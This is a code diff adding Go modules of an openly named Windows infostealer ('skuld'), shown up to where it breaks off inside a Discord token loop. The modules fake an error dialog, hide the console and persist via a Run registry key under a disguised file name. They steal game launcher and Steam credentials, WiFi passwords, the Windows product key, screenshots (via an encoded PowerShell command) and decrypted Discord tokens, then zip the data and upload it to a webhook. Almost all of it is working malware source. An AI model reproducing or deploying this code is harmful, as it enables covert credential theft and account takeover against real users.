"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func Run() {
|
||||
var title, text *uint16
|
||||
title, _ = syscall.UTF16PtrFromString("Fatal Error")
|
||||
text, _ = syscall.UTF16PtrFromString("Error code: Windows_0x988958\nSomething gone wrong.")
|
||||
syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(0, uintptr(unsafe.Pointer(text)), uintptr(unsafe.Pointer(title)), 0)
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package games
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func Run(webhook string) {
|
||||
for _, user := range hardware.GetUsers() {
|
||||
paths := map[string]map[string]string{
|
||||
"Epic Games": {
|
||||
"Settings": filepath.Join(user, "AppData", "Local", "EpicGamesLauncher", "Saved", "Config", "Windows", "GameUserSettings.ini"),
|
||||
},
|
||||
"Minecraft": {
|
||||
"Intent": filepath.Join(user, "intentlauncher", "launcherconfig"),
|
||||
"Lunar": filepath.Join(user, ".lunarclient", "settings", "game", "accounts.json"),
|
||||
"TLauncher": filepath.Join(user, "AppData", "Roaming", ".minecraft", "TlauncherProfiles.json"),
|
||||
"Feather": filepath.Join(user, "AppData", "Roaming", ".feather", "accounts.json"),
|
||||
"Meteor": filepath.Join(user, "AppData", "Roaming", ".minecraft", "meteor-client", "accounts.nbt"),
|
||||
"Impact": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Impact", "alts.json"),
|
||||
"Novoline": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Novoline", "alts.novo"),
|
||||
"CheatBreakers": filepath.Join(user, "AppData", "Roaming", ".minecraft", "cheatbreaker_accounts.json"),
|
||||
"Microsoft Store": filepath.Join(user, "AppData", "Roaming", ".minecraft", "launcher_accounts_microsoft_store.json"),
|
||||
"Rise": filepath.Join(user, "AppData", "Roaming", ".minecraft", "Rise", "alts.txt"),
|
||||
"Rise (Intent)": filepath.Join(user, "intentlauncher", "Rise", "alts.txt"),
|
||||
"Paladium": filepath.Join(user, "AppData", "Roaming", "paladium-group", "accounts.json"),
|
||||
"PolyMC": filepath.Join(user, "AppData", "Roaming", "PolyMC", "accounts.json"),
|
||||
"Badlion": filepath.Join(user, "AppData", "Roaming", "Badlion Client", "accounts.json"),
|
||||
},
|
||||
"Riot Games": {
|
||||
"Config": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Config"),
|
||||
"Data": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Data"),
|
||||
"Logs": filepath.Join(user, "AppData", "Local", "Riot Games", "Riot Client", "Logs"),
|
||||
},
|
||||
"Uplay": {
|
||||
"Settings": filepath.Join(user, "AppData", "Local", "Ubisoft Game Launcher"),
|
||||
},
|
||||
"NationsGlory": {
|
||||
"Local Storage": filepath.Join(user, "AppData", "Roaming", "NationsGlory", "Local Storage", "leveldb"),
|
||||
},
|
||||
}
|
||||
|
||||
tempDir := filepath.Join(os.TempDir(), fmt.Sprintf("games-%s", strings.Split(user, "\\")[2]))
|
||||
found := ""
|
||||
for name, path := range paths {
|
||||
dest := filepath.Join(tempDir, strings.Split(user, "\\")[2], name)
|
||||
|
||||
if err := os.MkdirAll(dest, os.ModePerm); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var err error
|
||||
|
||||
for fName, fPath := range path {
|
||||
if filepath.Ext(fPath) != "" {
|
||||
os.MkdirAll(filepath.Join(dest, fName), os.ModePerm)
|
||||
err = fileutil.CopyFile(fPath, filepath.Join(dest, fName, filepath.Base(fPath)))
|
||||
} else {
|
||||
err = fileutil.CopyDir(fPath, filepath.Join(dest, fName))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if !strings.Contains(found, name) {
|
||||
found += fmt.Sprintf("\n✅ %s ", name)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if found == "" {
|
||||
os.RemoveAll(tempDir)
|
||||
continue
|
||||
}
|
||||
|
||||
tempZip := filepath.Join(os.TempDir(), "games.zip")
|
||||
|
||||
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
||||
os.RemoveAll(tempDir)
|
||||
continue
|
||||
}
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "Games Stealer - " + strings.Split(user, "\\")[2],
|
||||
"description": "```" + found + "```",
|
||||
},
|
||||
},
|
||||
}, tempZip)
|
||||
|
||||
os.RemoveAll(tempDir)
|
||||
os.Remove(tempZip)
|
||||
}
|
||||
|
||||
tempDir := fmt.Sprintf("%s\\%s", os.TempDir(), "steam-temp")
|
||||
defer os.RemoveAll(tempDir)
|
||||
|
||||
path := "C:\\Program Files (x86)\\Steam\\config"
|
||||
if !fileutil.IsDir(path) {
|
||||
return
|
||||
}
|
||||
|
||||
if err := fileutil.CopyDir(path, tempDir); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
tempZip := filepath.Join(os.TempDir(), "steam.zip")
|
||||
if err := fileutil.Zip(tempDir, tempZip); err != nil {
|
||||
return
|
||||
}
|
||||
defer os.Remove(tempZip)
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "Steam",
|
||||
"description": "`✅✅✅`",
|
||||
},
|
||||
},
|
||||
}, tempZip)
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package hideconsole
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func Run() {
|
||||
getWin := syscall.NewLazyDLL("kernel32.dll").NewProc("GetConsoleWindow")
|
||||
showWin := syscall.NewLazyDLL("user32.dll").NewProc("ShowWindow")
|
||||
hwnd, _, _ := getWin.Call()
|
||||
_, _, _ = showWin.Call(hwnd, 0)
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
package startup
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows/registry"
|
||||
"os"
|
||||
"os/exec"
|
||||
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
)
|
||||
|
||||
func Run() error {
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
key, err := registry.OpenKey(registry.CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", registry.ALL_ACCESS)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
defer key.Close()
|
||||
|
||||
path := os.Getenv("APPDATA") + "\\Microsoft\\Protect\\SecurityHealthSystray.exe"
|
||||
|
||||
err = key.SetStringValue("Realtek HD Audio Universal Service", path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if fileutil.Exists(path) {
|
||||
err = os.Remove(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
err = fileutil.CopyFile(exe, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return exec.Command("attrib", "+h", "+s", path).Run()
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,263 @@
|
||||
package system
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"github.com/shirou/gopsutil/v3/disk"
|
||||
"github.com/shirou/gopsutil/v3/mem"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
)
|
||||
|
||||
func GetOS() string {
|
||||
cmd := exec.Command("wmic", "os", "get", "Caption")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
return strings.TrimSpace(strings.Split(string(out), "\n")[1])
|
||||
}
|
||||
|
||||
func GetCPU() string {
|
||||
cmd := exec.Command("wmic", "cpu", "get", "Name")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return strings.TrimSpace(strings.Split(string(out), "\n")[1])
|
||||
}
|
||||
|
||||
func GetGPU() string {
|
||||
cmd := exec.Command("wmic", "path", "win32_VideoController", "get", "name")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
return strings.TrimSpace(strings.Split(string(out), "\n")[1])
|
||||
}
|
||||
|
||||
func GetRAM() string {
|
||||
virtualMemory, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
return fmt.Sprintf("%.2f GB", float64(virtualMemory.Total)/(1024*1024*1024))
|
||||
}
|
||||
|
||||
func GetMAC() string {
|
||||
mac, err := hardware.GetMAC()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return mac
|
||||
}
|
||||
|
||||
func GetHWID() string {
|
||||
hwid, err := hardware.GetHWID()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return hwid
|
||||
}
|
||||
|
||||
func GetProductKey() string {
|
||||
key, err := registry.OpenKey(registry.LOCAL_MACHINE, `SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform`, registry.QUERY_VALUE)
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
defer key.Close()
|
||||
|
||||
value, _, err := key.GetStringValue("BackupProductKeyDefault")
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return value
|
||||
}
|
||||
|
||||
func GetDisks() string {
|
||||
disks, err := disk.Partitions(false)
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
var output string
|
||||
for _, part := range disks {
|
||||
usage, err := disk.Usage(part.Mountpoint)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
output += fmt.Sprintf("%-9s %-9s %-9s %-9s\n", part.Device, strconv.Itoa(int(usage.Free/1024/1024/1024))+"GB", strconv.Itoa(int(usage.Total/1024/1024/1024))+"GB", strconv.Itoa(int(usage.UsedPercent))+"%")
|
||||
}
|
||||
|
||||
if output == "" {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%-9s %-9s %-9s %-9s\n%s", "Drive", "Free", "Total", "Use", output)
|
||||
}
|
||||
|
||||
func GetNetwork() string {
|
||||
res, err := requests.Get("http://ip-api.com/json")
|
||||
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
var data struct {
|
||||
Country string `json:"country"`
|
||||
RegionName string `json:"regionName"`
|
||||
City string `json:"city"`
|
||||
Zip string `json:"zip"`
|
||||
Lat float64 `json:"lat"`
|
||||
Lon float64 `json:"lon"`
|
||||
Isp string `json:"isp"`
|
||||
As string `json:"as"`
|
||||
IP string `json:"query"`
|
||||
}
|
||||
if err = json.Unmarshal(res, &data); err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return fmt.Sprintf("IP: %s\nCountry: %s\nRegion: %s\nPostal: %s\nCity: %s\nISP: %s\nAS: %s\nLatitude: %f\nLongitude: %f", data.IP, data.Country, data.RegionName, data.Zip, data.City, data.Isp, data.As, data.Lat, data.Lon)
|
||||
}
|
||||
|
||||
func GetWifi() string {
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profiles")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
var networks []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
if strings.Contains(line, "All User Profile") {
|
||||
networks = append(networks, strings.Split(line, ":")[1][1:len(strings.Split(line, ":")[1])-1])
|
||||
}
|
||||
if strings.Contains(line, "Tous les utilisateurs") {
|
||||
networks = append(networks, strings.Split(line, ":")[1][1:len(strings.Split(line, ":")[1])-1])
|
||||
}
|
||||
}
|
||||
|
||||
var output string
|
||||
for _, network := range networks {
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profile", network, "key=clear")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if strings.Contains(line, "Key Content") {
|
||||
output += fmt.Sprintf("%-20s %-20s\n", network, strings.TrimSpace(strings.Split(line, ": ")[1]))
|
||||
}
|
||||
if strings.Contains(line, "Contenu de la") {
|
||||
output += fmt.Sprintf("%-20s %-20s\n", network, strings.TrimSpace(strings.Split(line, ": ")[1]))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if output == "" {
|
||||
return "Not Found"
|
||||
}
|
||||
|
||||
return fmt.Sprintf("%-20s %-20s\n%s", "Network", "Password", output)
|
||||
}
|
||||
|
||||
func randString(n int) string {
|
||||
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
|
||||
var b strings.Builder
|
||||
for i := 0; i < n; i++ {
|
||||
b.WriteRune(letters[rand.Intn(len(letters))])
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func GetScreens() []string {
|
||||
dir := filepath.Join(os.TempDir(), randString(10))
|
||||
os.Mkdir(dir, os.ModePerm)
|
||||
|
||||
cmd := exec.Command("powershell.exe", "-NoProfile", "-ExecutionPolicy", "Bypass", "-EncodedCommand", "JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
cmd.Dir = dir
|
||||
cmd.Run()
|
||||
|
||||
files, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var filepaths []string
|
||||
for _, file := range files {
|
||||
filepaths = append(filepaths, filepath.Join(dir, file.Name()))
|
||||
}
|
||||
|
||||
return filepaths
|
||||
}
|
||||
|
||||
func Run(webhook string) {
|
||||
users := strings.Join(hardware.GetUsers(), "\n")
|
||||
if len(users) > 4096 {
|
||||
users = "Too many users to display"
|
||||
}
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{
|
||||
{
|
||||
"title": "System Information",
|
||||
"fields": []map[string]interface{}{
|
||||
{
|
||||
"name": "User",
|
||||
"value": fmt.Sprintf("```Username: %s\nHostname: %s\n```", os.Getenv("USERNAME"), os.Getenv("COMPUTERNAME")),
|
||||
},
|
||||
{
|
||||
"name": "System",
|
||||
"value": fmt.Sprintf("```OS: %s\nCPU: %s\nGPU: %s\nRAM: %s\nMAC: %s\nHWID: %s\nProduct Key: %s```", GetOS(), GetCPU(), GetGPU(), GetRAM(), GetMAC(), GetHWID(), GetProductKey()),
|
||||
},
|
||||
{
|
||||
"name": "Disks",
|
||||
"value": fmt.Sprintf("```%s```", GetDisks()),
|
||||
},
|
||||
{
|
||||
"name": "Network",
|
||||
"value": fmt.Sprintf("```%s```", GetNetwork()),
|
||||
},
|
||||
{
|
||||
"name": "Wifi",
|
||||
"value": fmt.Sprintf("```%s```", GetWifi()),
|
||||
},
|
||||
},
|
||||
}, {
|
||||
"title": "All Users",
|
||||
"description": fmt.Sprintf("```%s```", users),
|
||||
},
|
||||
},
|
||||
}, GetScreens()...)
|
||||
|
||||
requests.Webhook(webhook, map[string]interface{}{
|
||||
"embeds": []map[string]interface{}{},
|
||||
})
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,33 @@
|
||||
package tokens
|
||||
|
||||
type User struct {
|
||||
ID string `json:"id"`
|
||||
Username string `json:"username"`
|
||||
Avatar string `json:"avatar"`
|
||||
PublicFlags int `json:"public_flags"`
|
||||
MfaEnabled bool `json:"mfa_enabled"`
|
||||
PremiumType int `json:"premium_type"`
|
||||
Email string `json:"email"`
|
||||
Phone string `json:"phone"`
|
||||
}
|
||||
|
||||
type Billing struct {
|
||||
Type int `json:"type"`
|
||||
}
|
||||
|
||||
type Guild struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Owner bool `json:"owner"`
|
||||
Permissions string `json:"permissions"`
|
||||
ApproximateMemberCount int `json:"approximate_member_count"`
|
||||
}
|
||||
|
||||
type Friend struct {
|
||||
ID string `json:"id"`
|
||||
User User `json:"user,omitempty"`
|
||||
}
|
||||
|
||||
type Invite struct {
|
||||
Code string `json:"code"`
|
||||
}
|
||||
@@ -0,0 +1,535 @@
|
||||
package tokens
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/hackirby/skuld/modules/browsers"
|
||||
"github.com/hackirby/skuld/utils/fileutil"
|
||||
"github.com/hackirby/skuld/utils/hardware"
|
||||
"github.com/hackirby/skuld/utils/requests"
|
||||
)
|
||||
|
||||
var (
|
||||
Regexp = regexp.MustCompile(`dQw4w9WgXcQ:[^\"]*`)
|
||||
RegexpBrowsers = regexp.MustCompile(`[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}|mfa\.[\w-]{80,95}`)
|
||||
)
|
||||
|
||||
func Run(webhook string) {
|
||||
var Tokens []string
|
||||
discordPaths := map[string]string{
|
||||
"Discord": "\\discord\\Local State",
|
||||
"Discord Canary": "\\discordcanary\\Local State",
|
||||
"Lightcord": "\\lightcord\\Local State",
|
||||
"Discord PTB": "\\discordptb\\Local State",
|
||||
}
|
||||
|
||||
for _, user := range hardware.GetUsers() {
|
||||
for _, path := range discordPaths {
|
||||
|
||||
path = user + "\\AppData\\Roaming" + path
|
||||
|
||||
if !fileutil.Exists(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
dir := filepath.Dir(path)
|
||||
c := browsers.Chromium{}
|
||||
err := c.GetMasterKey(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var files []string
|
||||
ldbs, err := filepath.Glob(filepath.Join(dir, "Local Storage", "leveldb", "*.ldb"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
files = append(files, ldbs...)
|
||||
logs, err := filepath.Glob(filepath.Join(dir, "Local Storage", "leveldb", "*.log"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
files = append(files, logs...)
|
||||
|
||||
for _, file := range files {
|
||||
data, err := fileutil.ReadFile(file)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, match := range Regexp.FindAllString(data, -1) {
|
||||
encodedPass, err := base64.StdEncoding.DecodeString(strings.Split(match, "dQw4w9WgXcQ:")[1])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
decodedPass, err := c.Decrypt(encodedPass)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
token := string(decodedPass)
|
||||
|
||||
if !ValidateToken(token) {
|
||||
continue
|
||||
}
|
||||
|
||||
if Contains(Tokens, token) {
|
||||
continue
|
||||
}
|
||||
|
||||
Tokens = append(Tokens, token)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for name, path := range browsers.GetChromiumBrowsers() {
|
||||
path = user + "\\" + path
|
||||
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
var profiles []browsers.Profile
|
||||
if strings.Contains(path, "Opera") {
|
||||
profiles = append(profiles, browsers.Profile{
|
||||
Name: "Default",
|
||||
Path: path,
|
||||
Browser: browsers.Browser{Name: name},
|
||||
})
|
||||
} else {
|
||||
folders, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, folder := range folders {
|
||||
if folder.IsDir() {
|
||||
dir := filepath.Join(path, folder.Name())
|
||||
|
||||
if fileutil.Exists(filepath.Join(dir, "Web Data")) {
|
||||
profiles = append(profiles, browsers.Profile{
|
||||
Name: folder.Name(),
|
||||
Path: dir,
|
||||
Browser: browsers.Browser{Name: name},
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
c := browsers.Chromium{}
|
||||
err := c.GetMasterKey(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, profile := range profiles {
|
||||
var files []string
|
||||
ldbs, err := filepath.Glob(filepath.Join(profile.Path, "Local Storage", "leveldb", "*.ldb"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
files = append(files, ldbs...)
|
||||
logs, err := filepath.Glob(filepath.Join(profile.Path, "Local Storage", "leveldb", "*.log"))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
files = append(files, logs...)
|
||||
|
||||
for _, file := range files {
|
||||
data, err := fileutil.ReadFile(file)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, token := range RegexpBrowsers.FindAllString(data, -1) {
|
||||
if !ValidateToken(token) {
|
||||
continue
|
||||
}
|
||||
|
||||
if Contains(Tokens, token) {
|
||||
continue
|
||||
}
|
||||
|
||||
Tokens = append(Tokens, token)
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, path := range browsers.GetGeckoBrowsers() {
|
||||
path = user + "\\" + path
|
||||
if !fileutil.IsDir(path) {
|
||||
continue
|
||||
}
|
||||
|
||||
profiles, err := os.ReadDir(path)
|
||||
if err != nil {
|
||||
|
||||
continue
|
||||
}
|
||||
for _, profile := range profiles {
|
||||
if !profile.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
files, err := os.ReadDir(path + "\\" + profile.Name())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(files) <= 10 {
|
||||
continue
|
||||
}
|
||||
|
||||
filepath.Walk(path+"\\"+profile.Name(), func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !info.IsDir() {
|
||||
if strings.Contains(info.Name(), ".sqlite") {
|
||||
lines, err := fileutil.ReadLines(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, line := range lines {
|
||||
for _, token := range RegexpBrowsers.FindAllString(line, -1) {
|
||||
if !ValidateToken(token) {
|
||||
continue
|
||||
}
|
||||
|
||||
if Contains(Tokens, token) {
|
||||
continue
|
||||
}
|
||||
|
||||
Tokens = append(Tokens, token)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
for _, token := range Tokens {
|
||||
